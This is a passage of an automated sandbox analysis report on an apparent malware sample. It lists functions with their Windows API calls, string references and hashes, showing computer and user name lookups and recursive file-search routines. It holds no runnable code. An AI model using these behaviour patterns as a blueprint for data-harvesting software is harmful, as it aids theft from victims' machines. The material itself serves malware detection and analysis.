Instruction Fuzzy Hash: 6041D474A00209EFCB54CF58C494BADBBB1FF44314F1486A9E949AB385D735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416CBC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416CBC), ref: 004010F7

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 4ccb3339a7f6084aabfd7cf6baf65b53e8baa26228d10618978cb16090ab9117
Instruction ID: a2dd58c0224e163af538114889642f36ecbeef109afe3d50a53e5cb7169f74e2
Opcode Fuzzy Hash: 4ccb3339a7f6084aabfd7cf6baf65b53e8baa26228d10618978cb16090ab9117
Instruction Fuzzy Hash: 74F0E2B1A42208BBE7149AA4AC59FAFB799E705B04F300459F540E3290D571AF00DAA4

Function 00418F20 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00410277,?,00000000,?,00000000,00420DB2,00420DAF), ref: 00418F2F

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e4e61478786545620c941bfdebde28148ee30d40bfd2ffe50c48c5d67029bfc3
Instruction ID: 622f2f336d6b1c39152e8ed1c6124f6159486e78b27092244718ebba6cc61b65
Opcode Fuzzy Hash: e4e61478786545620c941bfdebde28148ee30d40bfd2ffe50c48c5d67029bfc3
Instruction Fuzzy Hash: 7EF01C70D0520CEBCB00EF94D4496DDBB75EB00324F10819AE82967280DB385B96CB89

Function 00418F70 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 6d5c486f1174f401a7d52f4a33802c5c22497fe214560b0ce90e5b19e21db00a
Instruction ID: e79076dc3140f9edc5567924fb21932d6a0b2d79ef3805787682db2ce51b8011
Opcode Fuzzy Hash: 6d5c486f1174f401a7d52f4a33802c5c22497fe214560b0ce90e5b19e21db00a
Instruction Fuzzy Hash: 92E0127194434C6BDB51DB50CC96FDD776D9B44B11F004295BA0C5B1C0DE70AB858B95

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: dcd40bd9b7440eb8545f2694ec48fb4b44b4fea9788a6d776e7c72e508f0613a
Instruction ID: bcf4cddec8ba3652d3daa4bfa83a7295d39fc22ea0064294e7a9f420d8d9705c
Opcode Fuzzy Hash: dcd40bd9b7440eb8545f2694ec48fb4b44b4fea9788a6d776e7c72e508f0613a
Instruction Fuzzy Hash: E1E0ECB5D5820152DB1473B6AC06B5B339D5B1934EF04142FF90896252FE29F8404169

Function 61E0AE03 Relevance: 1.3, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 61E0AE3D

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 515cd9b0cc975ca03c008dfe43f6ff5eb83953987e78c9cd7cdb726aa12e4eb5
Instruction ID: a929929d55870eb2e3dfc3d9b08de53e37bb6c9da6c43a06ed963554b33c57a4
Opcode Fuzzy Hash: 515cd9b0cc975ca03c008dfe43f6ff5eb83953987e78c9cd7cdb726aa12e4eb5
Instruction Fuzzy Hash: A5F090B1554708CFDB006FA8E8C52153BA4F746219F5840BAE8150B201D735D5E1CB91

Function 00409910 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,004108B9,?,?), ref: 00409918

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 3912ae89892860816b228f59aaf213fb868172a610b0e449912dea322eeca367
Instruction ID: 7a81cf42230454625edcc1d807e760a9f48c6c1e1b7ee97c20b10c4417f739aa
Opcode Fuzzy Hash: 3912ae89892860816b228f59aaf213fb868172a610b0e449912dea322eeca367
Instruction Fuzzy Hash: F3F054B4D00208FBDB00EFA5C846B9EBBB49B08304F1085A9F905A7381E674AB14CB95

Function 61E2A6AF Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 61E2A6BF

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 1f2356de957b5852e51c4f16dd739168b253dd6d2aac726755fb4680bcc79cb1
Instruction ID: 08a60fc229ca929b4850671bf03eed3452f9cad2ea52f9bb94d0a5c68b8f0e05
Opcode Fuzzy Hash: 1f2356de957b5852e51c4f16dd739168b253dd6d2aac726755fb4680bcc79cb1
Instruction Fuzzy Hash: 68F039B0C4830A9FCB009FA5DAC5A0DBBE8EB84258F14C46DE8988F710D334E580CB51

Non-executed Functions

Function 00413B00 Relevance: 51.0, APIs: 21, Strings: 8, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413B1C
FindFirstFileA.KERNEL32(?,?), ref: 00413B33
lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413B85
StrCmpCA.SHLWAPI(?,00420F58), ref: 00413B97
StrCmpCA.SHLWAPI(?,00420F5C), ref: 00413BAD
FindNextFileA.KERNEL32(000000FF,?), ref: 00413EB7
FindClose.KERNEL32(000000FF), ref: 00413ECC

Strings

%s\*, xrefs: 00413B10
1#v, xrefs: 00413B33
%s\%s, xrefs: 00413CBF
%s%s, xrefs: 00413CFD
P2#v, xrefs: 00413EB7
q?A, xrefs: 00413ED2, 00413E95, 00413DB9, 00413B59, 00413DBC, 00413E98
%s\%s, xrefs: 00413BCA
%s\%s\%s, xrefs: 00413C9A

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*$P2#v$q?A$1#v
API String ID: 1125553467-1671601308
Opcode ID: fea268d9768da120239be548218c8c8cf8ff02c7c89a13463a3fbcac4a58e2da
Instruction ID: 118bc6de907018410b19fab89ebe74f6f374c1ff32bc5bb8bfd4c4c53b142975
Opcode Fuzzy Hash: fea268d9768da120239be548218c8c8cf8ff02c7c89a13463a3fbcac4a58e2da
Instruction Fuzzy Hash: E9A141B1A042189BDB24DF64DC85FEA7379BB48301F44458EF60D96181EB74AB88CF66

Function 00414B60 Relevance: 42.2, APIs: 18, Strings: 6, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00414B7C
FindFirstFileA.KERNEL32(?,?), ref: 00414B93
StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
FindClose.KERNEL32(000000FF), ref: 00414DE2

Strings

%s\%s, xrefs: 00414BF4
1#v, xrefs: 00414B93
-SA, xrefs: 00414DE8, 00414DAB, 00414D54, 00414BA8, 00414D57, 00414DAE
%s\%s, xrefs: 00414C4B
P2#v, xrefs: 00414DCD
%s\*, xrefs: 00414B70

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$-SA$P2#v$1#v
API String ID: 180737720-770260539
Opcode ID: 61e93ae17d4dd6651fd0e3ffb2acfea7a32819769ee56a5c725f3113df9f7800
Instruction ID: 6eceda3e2f2aeeb228f448c6629b31eb3c314648a2220d8d34325ba683034fba
Opcode Fuzzy Hash: 61e93ae17d4dd6651fd0e3ffb2acfea7a32819769ee56a5c725f3113df9f7800
Instruction Fuzzy Hash: F2617771904218ABCB20EBA0ED45FEA737DBF48701F40458EF60996191FB74AB84CF95

Function 004147C0 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 004147D0
HeapAlloc.KERNEL32(00000000), ref: 004147D7
wsprintfA.USER32 ref: 004147F6
FindFirstFileA.KERNEL32(?,?), ref: 0041480D
StrCmpCA.SHLWAPI(?,00420FAC), ref: 0041483B
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414851
FindNextFileA.KERNEL32(000000FF,?), ref: 004148DB
FindClose.KERNEL32(000000FF), ref: 004148F0
lstrcatA.KERNEL32(?,008B2070,?,00000104), ref: 00414915
lstrcatA.KERNEL32(?,008B0F60), ref: 00414928
lstrlenA.KERNEL32(?), ref: 00414935
lstrlenA.KERNEL32(?), ref: 00414946

Strings

1#v, xrefs: 0041480D
%s\*, xrefs: 004147EA
P2#v, xrefs: 004148DB
%s\%s, xrefs: 0041486B

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*$P2#v$1#v
API String ID: 13328894-4226942003
Opcode ID: 69dcb7b57205299e4e353f4ff5e3bd6fee26fba3a9fd294cee8ca8b6e7cecfcb
Instruction ID: 4add3c5e25650dce6a2d7e09fe25a02d5f48076a238705849ce39c3d90be09a7
Opcode Fuzzy Hash: 69dcb7b57205299e4e353f4ff5e3bd6fee26fba3a9fd294cee8ca8b6e7cecfcb
Instruction Fuzzy Hash: 145187B1944218ABCB20EB70DC89FEE737DAB58300F40459EB64996190EB74EBC4CF95

Function 004140F0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00414113
FindFirstFileA.KERNEL32(?,?), ref: 0041412A
StrCmpCA.SHLWAPI(?,00420F94), ref: 00414158
StrCmpCA.SHLWAPI(?,00420F98), ref: 0041416E
FindNextFileA.KERNEL32(000000FF,?), ref: 004142BC
FindClose.KERNEL32(000000FF), ref: 004142D1

Strings

1#v, xrefs: 0041412A
P2#v, xrefs: 004142BC
%s\%s, xrefs: 00414107

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$P2#v$1#v
API String ID: 180737720-1025293131
Opcode ID: f14d33e344877791ab6cc63d7acfac9155bd3cef669ea4b7710bb091b8adace9
Instruction ID: fabef74ebea8da44b501a85f582971371f90885c40acf49b74ac124388ccf1e1
Opcode Fuzzy Hash: f14d33e344877791ab6cc63d7acfac9155bd3cef669ea4b7710bb091b8adace9
Instruction Fuzzy Hash: 745179B1904118ABCB24EBB0DD45EEA737DBB58304F4045DEB60996090EB74ABC5CF59

Function 0040EE20 Relevance: 21.4, APIs: 9, Strings: 3, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040EE3E
FindFirstFileA.KERNEL32(?,?), ref: 0040EE55
StrCmpCA.SHLWAPI(?,00421630), ref: 0040EEAB
StrCmpCA.SHLWAPI(?,00421634), ref: 0040EEC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F3AE
FindClose.KERNEL32(000000FF), ref: 0040F3C3

Strings

1#v, xrefs: 0040EE55
P2#v, xrefs: 0040F3AE
%s\*.*, xrefs: 0040EE32

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*$P2#v$1#v
API String ID: 180737720-3139634048
Opcode ID: a4f90260c49caa6b7d74e27ed65b8492d5394a4a1dbe348bcb231a852777b898
Instruction ID: d58f243a0e81953373eaf00141ed8e3e8bc28467f540fc5aad09a1a01b74b281
Opcode Fuzzy Hash: a4f90260c49caa6b7d74e27ed65b8492d5394a4a1dbe348bcb231a852777b898
Instruction Fuzzy Hash: 79E16371A121189ADB14FB61DC62EEE7339AF50314F4045EEB10A62092EF386BD9CF59

Function 0040DF10 Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C32), ref: 0040DF5E
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040DFAE
StrCmpCA.SHLWAPI(?,004215C4), ref: 0040DFC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E4E0
FindClose.KERNEL32(000000FF), ref: 0040E4F2

Strings

1#v, xrefs: 0040DF5E
\*.*, xrefs: 0040DF26
P2#v, xrefs: 0040E4E0
4@, xrefs: 0040DF32, 0040E500, 0040DFF3, 0040DF75, 0040DFF6

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
